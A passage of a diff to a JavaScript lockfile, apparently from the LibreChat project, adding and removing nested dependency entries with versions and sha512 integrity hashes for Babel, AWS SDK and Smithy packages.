["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], - - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], + "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="], @@ -9565,6 +8899,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -9575,12 +8911,12 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], @@ -9593,14 +8929,14 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-aHb5cqXZocdzEkZ/CvhVjdw5l4r1aU/9iMEyoKzH4eXMowT6M0YjBpp7W/+XjkBnY8Xh0kVd55GKjnPKlCwinQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -9611,28 +8947,38 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], - "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -9643,28 +8989,38 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + 